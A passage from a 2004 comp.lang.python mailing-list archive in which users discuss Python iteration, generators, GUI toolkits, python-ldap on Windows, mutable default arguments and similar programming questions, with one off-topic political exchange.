the peak and walk the wires back as the house moved under. -- Anne & Lynn Wheeler | http://www.garlic.com/~lynn/ From steven.bethard at gmail.com Mon Sep 6 17:36:36 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Mon, 6 Sep 2004 21:36:36 +0000 (UTC) Subject: docs on for-loop with no __iter__? References: <9Ix_c.7839$w%6.378@newsread1.news.pas.earthlink.net> <1gjpr95.1h39l9v1wuwuuN%aleaxit@yahoo.com> Message-ID: Alex Martelli yahoo.com> writes: > Consider __len__ used to be a popular way to let your instances be > usable in a boolean context -- I believe __nonzero__ was introduced > later. So, take a class which only know whether it's empty or not, it > could have a __len__ that only returns 0 (==empty) or 1(==nonempty), > and still allow proper iteration by only raising in __getitem__ when all > items have been iterated on. If loops took account of __len__ suddenly > all that old code would break. Maybe there's much and maybe there's > little, but why break ANY of it?! Same reasons Python always breaks old code -- ease and clarity of coding. Hence the 'yield' keyword for generator functions, the change of method resolution order, etc. Still, you make a good case -- I can imagine a fair number of classes might run into these bugs (as compared to a very few classes that would have changed from the introduction of 'yield' or the changed method resolution order). > Just add MixinLenwiseIterator to your sequence classes' bases and be > happy. If you read my posts from the beginning, I was clearly never asking for the workaround -- I was asking for why the protocol was the way it was and why it hadn't been updated after __iter__ was introduced. Despite a few snide remarks ;) you did answer my question though, thanks! Anyone know if the __getitem__ protocol will still be supported in Python 3000? Steve From bokr at oz.net Thu Sep 23 17:09:26 2004 From: bokr at oz.net (Bengt Richter) Date: 23 Sep 2004 21:09:26 GMT Subject: Unexpected result. References: Message-ID: On Thu, 23 Sep 2004 14:18:01 -0500, "Larry Bates" wrote: >Actually the result is exactly as expected. >Programming 101 teaches us not to reuse >loop variables in nested loops. > [14:07] C:\pywk\clp>type p101.cpp #include void main(){ char abc[]="abc"; for(int i=0;i<3;++i){ printf("%c ", abc[i]); for(int i=0;i<3;++i) printf("%d ", i); } } [14:07] C:\pywk\clp>cl p101.cpp Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86 Copyright (C) Microsoft Corp 1984-1998. All rights reserved. p101.cpp Microsoft (R) Incremental Linker Version 6.00.8168 Copyright (C) Microsoft Corp 1992-1998. All rights reserved. /out:p101.exe p101.obj [14:07] C:\pywk\clp>p101 a 0 1 2 b 0 1 2 c 0 1 2 ;-) Regards, Bengt Richter From brian at rk-speed-rugby.dk Tue Sep 14 04:43:14 2004 From: brian at rk-speed-rugby.dk (Brian Elmegaard) Date: 14 Sep 2004 10:43:14 +0200 Subject: WxInter References: Message-ID: Eric Brunel writes: > quite far from it: I didn't see any means to move canvas items > individually, or group them with tags, or knowing which items are at a > given position, all things a tk canvas can do very easily... You can. Have a look at pySketch which comes with wx as one of the sample apps. > canvas item is just a bunch of points. In tk, it remains a whole item > which can be manipulated as a whole. Basically, in tk, canvases are > for vector drawing; in other toolkits, they're more for bitmap > drawing. And this makes quite a difference... If that is your reason for choosing vector graphics, you require something unneccesary as long as the bitmap items are kept as an item. I also think you can manage the other requirements specified above: grouping and tagging.. However I am a novice, so I would like to learn more about your comparisons if you test wxpython. -- Brian (remove the sport for mail) http://www.et.dtu.dk/staff/be From tuure at laurinolli.net Sun Sep 19 16:54:36 2004 From: tuure at laurinolli.net (Tuure Laurinolli) Date: Sun, 19 Sep 2004 23:54:36 +0300 Subject: Determining if a client PC has an Internet connection In-Reply-To: References: Message-ID: Cliff Wells wrote: > I'm writing an application that needs to know if an Internet connection > is available. Basically, I want to have something similar to what a lot > of email clients have, where the app can work either in "online" or > "offline" mode (it keeps a cache of downloaded info, so it can work > without a connection if needed). I do not see why there would have to be specific online and offline modes. They are annoying. Especially when they educatedly guess they are not on the Internet and refuse to believe the user who says they are. > The basic problem is this: it downloads info (RSS feeds) from a variety > of sources. Any one (or more) of these could conceivably fail to > download, so simply waiting for a timeout isn't sufficient (not easy to > differentiate between having a bad server and the client not having a > connection). Further, if it waits (say 30s) for the timeout to occur, > this is going to be a bit annoying to the user. So why not assume you are always connected to the Internet. Download updated info into local cache whenever possible and always show local cached information. Of course you could somehow indicate the age of the cached information, so the user doesn't think that local cached information is up-to-date when it actually isn't. From clifford.wells at comcast.net Sat Sep 11 05:20:09 2004 From: clifford.wells at comcast.net (Cliff Wells) Date: Sat, 11 Sep 2004 02:20:09 -0700 Subject: Executing system commands with wxpython In-Reply-To: References: <3dec2e051d82da31c9fe868669e3ce6d@localhost.talkaboutprogramming.com> Message-ID: <1094894410.26967.7.camel@devilbox.devilnet.internal> On Fri, 2004-09-10 at 23:50 -0400, Peter Hansen wrote: > Cliff Wells wrote: > > > On Fri, 2004-09-10 at 13:02 -0400, twsnnva wrote: > > > >>Could anyone give me an example (code) of a simple program with a button > >>that when clicked executes a linux shell or windows dos command like > >>"ifconfig" or "ipconfig" and prints the output somewhere in the same > >>window. Thanks. > >> > > Building on Peter's example, here's a bit more sophisticated example: > [snip longer version] > > Cliff, I think this is the point where we're supposed to > vote on the name, and start a new project on SourceForge. ;-) And don't forget the required next step which is to abandon the project shortly after when you get a real job ;) -- Cliff Wells From tjreedy at udel.edu Thu Sep 16 21:13:50 2004 From: tjreedy at udel.edu (Terry Reedy) Date: Thu, 16 Sep 2004 21:13:50 -0400 Subject: Incrementing a string -- puzzing "solution"... References: <20040916004438.657b50a4@gypsy.pfortin.com> Message-ID: "Pierre Fortin" wrote in message news:20040916004438.657b50a4 at gypsy.pfortin.com... > On Wed, 15 Sep 2004 15:08:20 -0700 John wrote: > Puzzling... I hacked at this problem as a flexibility learning exercise > and actually got this to work; but... does 'while True' in a generator > have side-effects...?? No. Note that the 'while True' and the rest of the body code end up in/as the body of the .next method of the generator object produced by calling the generator function. You don't have to understand all this to use generators in for statements, but you should when using them with while loops. > Or generator recursion? I has a main of sometimes simplifying variable depth recursion ;-) > I don't see how the string actually _grows_ inside the while.... :^? > I was just expecting the prefix to be '', then 'a'...'z' giving a..z, > aa..az, ba..bz, ... za..zz -- not continuing through aaa...azz and > onwards... It's cool; but boggles my mind at the moment... not that > that's a stretch... :^) The following is an never-ending generator, with unbounded levels of recursion. The generator on each level of recursion is the same and therefore generates the same sequence. Each is 'behind' the level above it and 'ahead' of the level beneath (counting the first as the top level) in terms of where it is in the sequence. Prefix grows from length 0 to 1 on the first call to the next method of the level beneath it. That same call causes the creation of another 'instance' (still inactive) two levels down. When a later g.next call causes the prefix one level down to grow from 0 to 1, the prefix as the current level grows from 1 to 2. And so on. At any time (except transitions), there is a stack of n+1 identical instances of the generator (and its .next methods) with prefixes ranging from length n-1 down to 0 with the bottom instance having no prefix at all. > def ascinc(start='a',end='z'): > g = ascinc(start,end) This creates a new generator object but does NOT call its .next method. > prefix = '' > while True: > for i in range(ord(start[-1]),ord(end[-1])+1): > yield (prefix + chr(i)) > prefix = g.next() Increments in prefix length bubble up from the bott > g = ascinc('a') This 'kickstarts' the process by creating the top generator without calling it. > for i in range(100): > print g.next(), while True: print g.next() # would theorectically continue indefinitely, as would for s in ascinc('a'): print s # both would croak on the recursion limit In each case, the first call of .next() causes creation of a second generator and a blank prefix. I hope the mechanism is now clearer for you. Terry J. Reedy From michael at stroeder.com Tue Sep 28 08:51:34 2004 From: michael at stroeder.com (=?ISO-8859-1?Q?Michael_Str=F6der?=) Date: Tue, 28 Sep 2004 14:51:34 +0200 Subject: Python-LDAP for Win32 In-Reply-To: References: Message-ID: Brian Beck wrote: > As far as I can tell, both maintainers[1] of the Windows builds of > Python-LDAP[2] haven't updated in about a year. This doesn't exactly > make the builds ancient or obsolete, but it would be nice to start > fresh with the latest version. Indeed. That's a very unpleasant situation since there have been important fixes and enhancements in recent releases. Contributions for python-ldap on Win32 would be highly appreciated. In the mean time you could build python-ldap for cygwin. > I've tried without success in building it myself. The hardest part is > simply that Python-LDAP is dependent on at LEAST two other projects -- > OpenLDAP and Cyrus SASL. This increases the difficulty three-fold. Add OpenSSL and heimdal to the list of (optional) dependencies... ;-) As the maintainer of python-ldap I'm thinking of two different options making python-ldap available on Win32: 1. Rewrite everything in pure Python (lot of work) 2. Win32 on top of Microsoft's LDAP SDK (lots of #if's polluting the code) > I know that Windows users are a minority when it comes to this module, > but surely someone at least KNOWS how to get this to build on Windows. > I would be happy to maintain and host an updated build if only I > could get this to work. Any help would be greatly appreciated. > > [1] http://www.zope.org/Members/volkerw/LdapWin32 > http://www.siosistemi.it/~mcicogni/ I asked the Win32 packagers to update their builds on the python-ldap-dev mailing list quite a while ago. Personally I do not have a build environment for Win32. There was once a description on how to use Microsoft's free compiler together with (patched) DistUtils to build extension modules for Win32. But I don't have the spare time for working on it. Ciao, Michael. From pfortin at pfortin.com Thu Sep 9 18:55:44 2004 From: pfortin at pfortin.com (Pierre Fortin) Date: Thu, 9 Sep 2004 18:55:44 -0400 Subject: Best way to get ip address References: Message-ID: <20040909185544.3923e8ac@gypsy.pfortin.com> On Thu, 9 Sep 2004 12:07:42 -0700 Darren wrote: > ip = socket.gethostbyaddr(socket.gethostname()) > # returns: ('hostname.domain', ['hostname'], ['192.168.0.2']) > ip = str(ip[2]) > # returns: "['192.168.0.2']" > ip = ip[2:-2] > # returns: '192.168.0.2' > > This works fine, but seems a little crufty and convoluted, and usually > when things get crufty it means there is a better way to do it...so is > there a preferred way of obtaining a local IP address? When functions return well documented results, I tend to just code like this: # returns: ('hostname.domain', ['hostname'], ['192.168.0.2']) ip = socket.gethostbyaddr(socket.gethostname())[-1][0] Gets the only list item of the last tuple item -- no calls to str() or getting cute with the list's "[...]" Pierre From peter at engcorp.com Wed Sep 1 17:15:51 2004 From: peter at engcorp.com (Peter Hansen) Date: Wed, 01 Sep 2004 17:15:51 -0400 Subject: negative stride list slices In-Reply-To: References: <8a638f47.0409010941.7f1cbbad@posting.google.com> <2pmj4aFmofl2U1@uni-berlin.de> Message-ID: <9LOdnaw-DsKUoavcRVn-vg@powergate.ca> Reid Nichol wrote: > This was the part that I was refering to: > > +---+---+---+---+---+ > | H | e | l | p | A | > +---+---+---+---+---+ > 0 1 2 3 4 5 > -5 -4 -3 -2 -1 > > Does it not all work the same in practice? Can you explain how the above diagram explains David's example then: >>> s = 'HelpA' >>> s[:-3:-1] 'Ap' I don't find much connection between the diagram and where the -3 is actually slicing either. -Peter From carribeiro at gmail.com Wed Sep 15 08:49:52 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Wed, 15 Sep 2004 09:49:52 -0300 Subject: i am going to get crazy!!! In-Reply-To: References: <4a9d4c93.0409141615.1d1ab0cb@posting.google.com> Message-ID: <864d370904091505493db91566@mail.gmail.com> On Wed, 15 Sep 2004 08:25:40 -0400, Peter Hansen wrote: > Carlos Ribeiro wrote: > > > -- There are two classes of developers: those who like IDEs and those > > who doesn't. (...) > > Carlos, you're right that different styles are involved, and this > could be considered yet another "religious" matter, but don't make > the mistake of assuming those of us who prefer no IDE "come from > another background" or "don't get the fuss". I suspect many or > most of us have used very fancy GUI IDE tools *extensively*, but > have after long years and for various reasons rejected them in > favour of simpler or lighter weight approaches. I'm really sorry if I you (or anybody else) read it this way. I never meant to say that people that don't like "fancy GUI IDEs" had not knowledge about them. In fact, some of the best programmers all around don't like IDEs, and it must tell us something about it :-) But there are lots of valid reasons to choose one or other type of tool. Personal choice is one of them, and I think that it may be one of the most important things to be considered here. But I still think that the type of programming work at hand is essential to understand why an RAD-style IDE is so important to some people. I've commented a few minutes ago that one of the problems, in the particular case of Python IDEs, is not with the IDE itself, but the lack of a simple framework for application development. This framework is integrated in every top commercial IDE available -- be it Delphi, VB, Visual Studio, whatever. Of all Python IDEs, only Boa and PythonCard come close to such offering, but fall short on several fronts; for example, the lack of database editing controls is one such a problem. Why is it so important, you may ask? I may be over generalizing again, so take it as my own personal opinion and with a large grain of salt. Business programmers don't like to have to worry about event loops, message handling, database marshalling, initialization or finalization code. They want to design forms, glue them together, add a few business rules, and have an application running as quickly as possible. That's has nothing to do with skill or technical competence. It's just the way it is -- when you're paid relatively low wages to finish a lot of small programs, you're better of making the most of your time. And writing code by hand to tie the database to the text editing control is not going to help much in this regard. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From rst at _nospam_.drlug.org._nospam_ Sun Sep 5 22:56:54 2004 From: rst at _nospam_.drlug.org._nospam_ (Rune Strand) Date: Mon, 06 Sep 2004 04:56:54 +0200 Subject: Fastest way to loop through each digit in a number? Message-ID: Hi, If I have a lot of integers and want do something with each digit as integer, what is the fastest way to get there? Eg. Make 12345 into an iterable object, like [1,2,3,4,5] or "12345" (Btw: What is the English term for this process; itemize? tokenize? digitize? sequence?) Some examples: n = 12345 #1. s = str(n) for i in s: d = int(i) foo(d) #2. nl = map(int, str(n)) for d in nl: foo(d) #3. nl = [int(x) for x in str(n)] for d in nl: foo(d) Of those, I have, a bit surprised, found that #1 is the fastest, and that #2 using map() is faster than #3 using list comprehension. I also registered that that repr(n) is about 8% faster than str(n). Are there faster ways? Is it possible to avoid casting types? Thanks for all answers! From __peter__ at web.de Fri Sep 24 10:30:46 2004 From: __peter__ at web.de (Peter Otten) Date: Fri, 24 Sep 2004 16:30:46 +0200 Subject: Unexpected Python Behavior References: <4e4a11f8.0409232355.6ba0468d@posting.google.com> Message-ID: David Pokorny wrote: > > "Fredrik Lundh" wrote in message > >> it's a well-known "you'll only do this once" mistake. which is a good > thing, > > "Because of this feature, it is good programming practice to not use > mutable objects as default values." -- > http://www.python.org/doc/faq/general.html#why-are-default-values-shared-between-objects > > Has it been discussed whether it would be a good idea to issue a warning > in this case? It strikes me that a warning wouldn't bother veteran > programmers, since it is really easy to avoid using a mutable default > value (nearly trivial to modify code that does use mutable default > values). I'd imagine it makes code more readable too. You want a warning? There you are: $ cat mutabledefault.py def buggy(item, list=[]): list.append(item) return list $ pychecker mutabledefault.py Processing mutabledefault... Warnings... mutabledefault.py:3: Modifying parameter (list) with a default value may have unexpected consequences Peter From http Wed Sep 15 18:09:14 2004 From: http (Paul Rubin) Date: 15 Sep 2004 15:09:14 -0700 Subject: function arguments References: Message-ID: <7xzn3rxjzp.fsf@ruckus.brouhaha.com> "Joe Laughlin" writes: > def foo(list_of_args): > call_other_function(arg1, arg2, arg3) > # Where arg1 == "x", arg2 == "y", etc. > # Should work with any list size > > foo(["x", "y", "z"]) > > Make sense? Need clarification? In the old days you'd have had to say apply(call_other_function, list_of_args) But now you can just say call_other_function(*list_of_args) which does the same thing. The asterisk turns your list into an arglist. From guess at My.email.address.scum.com Thu Sep 9 16:58:46 2004 From: guess at My.email.address.scum.com (Anon) Date: Thu, 9 Sep 2004 21:58:46 +0100 Subject: found bakups of code I never asked for --- References: Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 "Roy Smith" wrote in message news:roy-AF701C.16391109092004 at reader1.panix.com... : "Anon" wrote: : : > -----BEGIN PGP SIGNED MESSAGE----- : > Hash: SHA1 : > : > Hey everyone. : > : > I was looking around my file system today when I stumbled ac ross : > A -COMPLETE- bakup of every piece of python code I ever coded in the : > folder... : > : > C:\Documents and Settings\edit.edit\Local Settings\Temp\bak : > : > Can someone tell me were the options are for turnin this bakup feature on : > and off?? : : Sure. Open up Internet Explorer, and type in "apple.com". Uhu!!! -----BEGIN PGP SIGNATURE----- Version: PGP 8.0 iQA/AwUBQUDEAy/z2sM4qf2WEQJkuACdEbxv/pYBkVVnLwEtvzvy7O/a6CYAoMRx Zk7arERtbo7t0LU/04iRzVDk =m2Wo -----END PGP SIGNATURE----- From ville at spammers.com Fri Sep 17 03:10:35 2004 From: ville at spammers.com (Ville Vainio) Date: 17 Sep 2004 10:10:35 +0300 Subject: up with PyGUI! References: <2qq5adF133c5kU1@uni-berlin.de> <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> <1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com> <1gk76qq.kwo4dz1cftwe3N%aleaxit@yahoo.com> <1gk7oh4.1lgmrxo1pjcaw5N%aleaxit@yahoo.com> Message-ID: >>>>> "Terry" == Terry Reedy writes: Terry> Also for political reasons. The US has reactionaries, left Terry> and right, who reject the idea that all people have a right Terry> to participate in the global information economy. I don't think that's exclusively an US concern - all industrialized countries have people who are concerned about outsourcing, globalization and generally losing their jobs. -- Ville Vainio http://tinyurl.com/2prnb From d.luconi at e-xtrategy.net Wed Sep 15 11:06:58 2004 From: d.luconi at e-xtrategy.net (daniele) Date: Wed, 15 Sep 2004 17:06:58 +0200 Subject: Python Imaging Library Message-ID: i got this errors while executing the command 'python setup.py build' in PIL installation: _imagingtk.c:23: error: syntax error before '*' token _imagingtk.c:31: error: syntax error before "Tcl_Interp" _imagingtk.c:31: warning: no semicolon at end of struct or union _imagingtk.c:32: warning: data definition has no type or storage class _imagingtk.c: In function `_tkinit': _imagingtk.c:37: error: `Tcl_Interp' undeclared (first use in this function) _imagingtk.c:37: error: (Each undeclared identifier is reported only once _imagingtk.c:37: error: for each function it appears in.) _imagingtk.c:37: error: `interp' undeclared (first use in this function) _imagingtk.c:45: error: syntax error before ')' token _imagingtk.c:50: error: `app' undeclared (first use in this function) _imagingtk.c:50: error: syntax error before ')' token _imagingtk.c: At top level: _imagingtk.c:55: warning: parameter names (without types) in function declaration _imagingtk.c:55: error: conflicting types for `TkImaging_Init' _imagingtk.c:23: error: previous declaration of `TkImaging_Init' _imagingtk.c:55: warning: data definition has no type or storage class _imagingtk.c:57: error: syntax error before '&' token error: command 'gcc' failed with exit status 1 where is the problem? daniele From peter.maas at mplusr.de Mon Sep 6 04:45:16 2004 From: peter.maas at mplusr.de (Peter Maas) Date: Mon, 06 Sep 2004 10:45:16 +0200 Subject: import module name collision In-Reply-To: <4139cd8c$1_3@news.adelaide.pipenetworks.com> References: <4139cd8c$1_3@news.adelaide.pipenetworks.com> Message-ID: Chris Foote schrieb: > Today I happened to accidentally name one of my project's > files 'email.py', which collides with the module of the > same name in Python's standard library: > > from email.MIMEText import MIMEText from email.MIMEText import MIMEText as YetAnotherMIMEText -- ------------------------------------------------------------------- Peter Maas, M+R Infosysteme, D-52070 Aachen, Tel +49-241-93878-0 E-mail 'cGV0ZXIubWFhc0BtcGx1c3IuZGU=\n'.decode('base64') ------------------------------------------------------------------- From jmeile at hotmail.com Wed Sep 29 12:54:16 2004 From: jmeile at hotmail.com (Josef Meile) Date: Wed, 29 Sep 2004 18:54:16 +0200 Subject: Quiero empezar con python pero quisiera saber... In-Reply-To: References: Message-ID: <415aef47$1@pfaff2.ethz.ch> Hola, >>Hola Comunidad de python...reciban de mi parte un Cordial saludo >>quisiera saber y espero una opinion objetiva si con python >>puedo encontrar la misma robutez la misma sencillez que >>tiene un lenguaje como por ejemplo java. >> >>si puedo encontrar la misma velocidad y rendimiento en >>cuanto interfaces como visual basic. >> >>python tiene algun programa que haga reportes como el >>JasperReport para java??? veo que ya te han dado muy buenas respuestas. En esta lista el lenguage oficial es el ingles; por lo tanto, si quieres hacer preguntas en espanol, te recomiendo la siguiente lista de python: http://listas.aditel.org/listinfo/python-es El siguiente enlace hace alusion a documentacion y recursos en espanol: http://es.diveintopython.org/ Saludos, Josef PD: Disculpa la falta de acentos, pero mi teclado no funciona muy bien en linux. From max at alcyone.com Fri Sep 3 18:29:38 2004 From: max at alcyone.com (Erik Max Francis) Date: Fri, 03 Sep 2004 15:29:38 -0700 Subject: It's in Python. It just _works_! References: <4137b3ed$0$65570$a1866201@newsreader.visi.com> <9418be08.0409030632.425a9936@posting.google.com> <41388d41$0$8085$a1866201@newsreader.visi.com> Message-ID: <4138F052.776AA50A@alcyone.com> Grant Edwards wrote: > That sounds like a bit of mess... Okay, Grant, now are you actually surprised at that? :-) -- __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/ / \ San Jose, CA, USA && 37 20 N 121 53 W && AIM erikmaxfrancis \__/ I am still learning. -- (Michaelangelo's motto) From cbeck at mercury.bc.ca Fri Sep 10 14:18:33 2004 From: cbeck at mercury.bc.ca (Coby Beck) Date: Fri, 10 Sep 2004 18:18:33 GMT Subject: Xah Lee's Unixism References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <4140688e$0$6912$61fed72c@news.rcn.com> <4140A885.90B945AC@yahoo.com> <4jkqhc.p7p1.ln@via.reistad.priv.no> <1oh3k01cieht04nmfo27pvihg8teme0mdt@4ax.com> Message-ID: "Alan Balmer" wrote in message news:1oh3k01cieht04nmfo27pvihg8teme0mdt at 4ax.com... > On Fri, 10 Sep 2004 00:13:56 +0200, Morten Reistad > wrote: > > >>However Bush is demonstrably poor. He ignored the warnings from > >>the CIA, FBI, outgoing Clinton administration about imminent > >>attacks. He was focused on attacking Saddam and Iraq from the > >>first, and perverted 9/11 into that at the earliest opportunity. > >>He has offended many more than most of his predecessors. I will > >>say that he seems to have learned the names of some foreign > >>leaders since being elected. > > > >Bush has had an agenda all right; but I don't quite get what it is. > > > And, of course, entertaining the possibility that his agenda is just > what he says it is, is completely out of the question. Not out of the question, be obviously untrue. "We must invade Iraq to remove the threat of a madman with WMD" --> Inspectors were inside Iraq looking already. --> N. Korea was boasting about its nuclear program and firing test missles all over the place. --> Not a stick of said WMD has been found since invading. "We must save the Iraqi people from a ruthless dictator" --> since Hussein is just one of scores of such monsters and Iraq was the country chosen, this can not be the reason. "We must fight terrorism" --> The hunt for Osama, known to be NOT IN Iraq was practically dropped to invade Iraq. --> Everyone outside of the Fox news network knows there was never any link from Iraq to Osama. --> Terrorism is now a big problem in Iraq where it was not before. From nelson at monkey.org Tue Sep 21 16:59:08 2004 From: nelson at monkey.org (Nelson Minar) Date: Tue, 21 Sep 2004 20:59:08 GMT Subject: Python for Perl programmers? References: Message-ID: markus.cl at gmx.de (Markus Dehmann) writes: > Is there a tutorial that takes all the standard perl things and then > explains how to do them in python? How's this? http://www.python.org/moin/PerlPhrasebook I found the Python tutorial to be the single most useful thing for learning Python. http://www.python.org/moin/PerlPhrasebook There's not so much a CPAN-equivalent for Python, partly because most of the libraries you need are in the core distribution and partly because there are fewer Python libraries than Perl libraries. Enjoy learning Python! I switched about a year ago and find I almost never get a rash from my scripting anymore. From belred1 at yahoo.com Sat Sep 25 03:00:25 2004 From: belred1 at yahoo.com (Bryan) Date: Sat, 25 Sep 2004 07:00:25 GMT Subject: Counter for items in lists in lists? In-Reply-To: References: Message-ID: Steven Bethard wrote: > Charlotte Henkle fgm.com> writes: > >>I'm pondering how to count the number of times an item appears in >>total in a nested list. > > > How about this: > > >>>>myList=[['a','b','c','d'],['a','f','g','h'],['a','b','x','y']] >>>>def count(item): > > ... if not isinstance(item, list): > ... return {item:1} > ... counts = {} > ... for i in item: > ... for key, ct in count(i).items(): > ... counts[key] = counts.get(key, 0) + ct > ... return counts > ... > >>>>count(myList) > > {'a': 3, 'c': 1, 'b': 2, 'd': 1, 'g': 1, 'f': 1, 'h': 1, 'y': 1, 'x': 1} > > Steve > or maybe a less general approach might work if the nested list is always one deep: >>> myList=[['a','b','c','d'],['a','f','g','h'],['a','b','x','y']] >>> tmp = [] >>> d = {} >>> for item in myList: tmp += item >>> for key in tmp: d[key] = d.get(key, 0) + 1 >>> d {'a': 3, 'c': 1, 'b': 2, 'd': 1, 'g': 1, 'f': 1, 'h': 1, 'y': 1, 'x': 1} bryan From bradtilley at usa.net Sat Sep 4 21:38:51 2004 From: bradtilley at usa.net (Brad Tilley) Date: Sat, 04 Sep 2004 21:38:51 -0400 Subject: windows svchost.exe service wrapper & individual services Message-ID: I understand that svchost.exe is a service wrapper that loads many different services (dll files) on WinXP. I can programmatically list the individual services that it has loaded with Python, but I cannot stop or start these individually services. Microsoft's documentation on this is next to non-existent. Has anyone done this successfully with Python? Could anyone point me to some documentation? Thanks, Brad From carribeiro at gmail.com Wed Sep 15 19:37:31 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Wed, 15 Sep 2004 20:37:31 -0300 Subject: up with PyGUI! In-Reply-To: <1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com> References: <2qq5adF133c5kU1@uni-berlin.de> <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> <1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com> Message-ID: <864d37090409151637793a97d7@mail.gmail.com> On Thu, 16 Sep 2004 00:23:36 +0200, Alex Martelli wrote: > Jorge Godoy wrote: > > I like the widgets, and the visual, but I can't afford buying a whole > > toolchain for using it. So, I use the tools that are free, that allow > > I believe the "whole toolchain" (BlackAdder -- period) cost about $300 > (==Euro 250) for a one-user license (commercial, with full right to > redistribute the apps you develop). I'm not sure how much you charge > for all of the apps you develop, but if 250 euros (fiscally deducible > from your fees, of course!) make a significant dent in your income, then > I agree that you can't afford Qt. The biggest problem for we third-world money-impaired users that many people don't realize is that we charge for our services in the local currency, but have to buy stuff in strong currency (dollars or euros). That's what kills us. *If* the conversion rate were lower (1:1, for example, as it was a not so long time ago) it would be possible. I'll tell you some figures. An average programmer in Brazil makes betwen R$ 800,00 to R$ 2000,00/month. The actual income, roughly converted, is in the US$ 270 -- US$ 650 range. Yes - is this low. Senior programmers or analyst can make more, specially if they live in S?o Paulo, but then the actual cost of living will make a much bigger dent on their income. In other words - a US$ 300 tool is too expensive. (AFAIK, there are some companies that run special discounts for customers in third world countries. That's fair for software, I think. It's a shame no more companies do the same) -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From bsmatt at gmail.com Thu Sep 16 20:23:34 2004 From: bsmatt at gmail.com (bmatt) Date: 16 Sep 2004 17:23:34 -0700 Subject: Finding a python object in c++ Message-ID: I am trying to figure out how to get a reference to a python object in c++ so that I can call methods from c++. For example if I have the following python code class foo: def func(): x = 1 f1 = foo() f1.func() How do I find f1 at get a Py_Object* to it so I can call the func method? Thanks From kangell at alertra.com Wed Sep 29 03:08:27 2004 From: kangell at alertra.com (Kirby Angell) Date: Wed, 29 Sep 2004 02:08:27 -0500 Subject: Maximum number of threads Message-ID: We are porting our applications from Python 2.2 on RH9 to Python 2.3 on RH9. One of our apps used to be able to create threads with wild abandon, 800 or more if necessary. With Python 2.3 we are hitting a hard limit of 254 on RH9 and around 400 on FC2. What is the limiting factor for the number of threads we can create? Is there a way to increase it? -- Kirby From elbertlev at hotmail.com Wed Sep 29 00:10:31 2004 From: elbertlev at hotmail.com (Elbert Lev) Date: 28 Sep 2004 21:10:31 -0700 Subject: annoying behavior References: <9418be08.0409280856.9368ddf@posting.google.com> <9418be08.0409281438.25e2abe@posting.google.com> Message-ID: <9418be08.0409282010.6996584@posting.google.com> Michael Hoffman wrote in message news:... > Elbert Lev wrote: > > > I think, it would be good, if some sort of warning is given during > > import, but not during instantiating the instance of the class. At > > least in a "debug" mode. What really did happen: the bug was reported > > after the scrip was running for 30 minutes. PyCheck finds it > > immediatelly. Why not to do the same kind of check in the interpreter? > > Can you post the results of your PyChecker run and the exact input to it? > > I just did a test myself: > > """ > $ cat test1.py > class X(object): > def __init__(self): > self.f() > self.r = True > > def f(self): > print self.r > > def main(): > x = X() > > $ pychecker test1.py > Processing test1... > > Warnings... > > test1.py:10: Local variable (x) not used > """ > > I think that what you want the Python compiler to do is harder than you > think it is, and not all cases will be caught unless you actually run > the program. > > I've forgotten to assign attributes and variables before using them in > the past--it's just something you have to learn not to do. Here it is: Processing test... C:\Python23\python.exe C:\Python23\Lib\site-packages\pychecker\checker.py test.py Caught exception importing module test: File "C:\Python23\Lib\site-packages\pychecker\checker.py", line 576, in setupMainCode() module = imp.load_module(self.moduleName, file, filename, smt) File "test.py", line 16 f = foo("1234") File "test.py", line 5, in __init__() self.f() File "test.py", line 9, in f() if self.r: AttributeError: foo instance has no attribute 'r' Warnings... test:1: NOT PROCESSED UNABLE TO IMPORT > I think that what you want the Python compiler to do is harder than you > think it is, and not all cases will be caught unless you actually run > the program. Sure not all! I tell you more: in many cases after the program was used for years, it contains errors. This does not stop people debuging them :) Even if check does not finds all errors it will be very good. Isn't this what Python is about - fast and fun programming, not frustration. After all, if I want troubles, I always can use C or Java :)) From mark at prothon.org Tue Sep 7 13:32:04 2004 From: mark at prothon.org (Mark Hahn) Date: Tue, 7 Sep 2004 10:32:04 -0700 Subject: Anyone know anything named DX? (was Re: Announcing PyCs) References: <20040901221925.2128958333.EP@zomething.com> Message-ID: <1249sldbvqkb9.14khjjcb91ra0.dlg@40tude.net> I should have made it more clear that I was giving up on DX when Data Explorer (DX) was pointed out. I just said "oh well" but I mean "oh sh**". From elainejackson7355 at home.com Mon Sep 13 00:25:47 2004 From: elainejackson7355 at home.com (Elaine Jackson) Date: Mon, 13 Sep 2004 04:25:47 GMT Subject: Newbie: tuple list confusion. References: <20040912195529.03437.00000338@mb-m27.aol.com> Message-ID: In addition to what you've found out already, there is another difference that, to my mind, is of paramount importance; namely, the fact that an augmented assignment (a+=b) is actually not an assignment at all. An actual assignment (a=a+b) binds the name "a" to a new object, while a so-called augmented assignment mutates the object a itself. I was quite confused by this point when I first found out about it, so I'll do my best to explain it now for your benefit. Consider the following functions: >>> def f(a): a=a+['tackedOnItem']; return a ## The "a" on the righthand side of the assignment ## evaluates to the function's parameter, since ## at that point no local variable with that name ## has yet been declared; next the "a" on the ## lefthand side of the assignment declares a local ## variable (a function cannot rebind the name of ## one of its parameters); and finally the "a" in ## the return statement evaluates to the value of ## the local variable "a" (local bindings being ## always preferred over global ones when possible). ## Hence f returns x + ['tackedOnItem'], where x ## is its actual parameter, and that parameter is ## NOT mutated. >>> def g(a): a+=['tackedOnItem']; return a ## Since the augmented assignment is actually a ## mutation, there is no question of rebinding the ## name of the parameter; the "a" on the lefthand ## side of the augmented assignment evaluates to ## the parameter, and the parameter gets mutated; 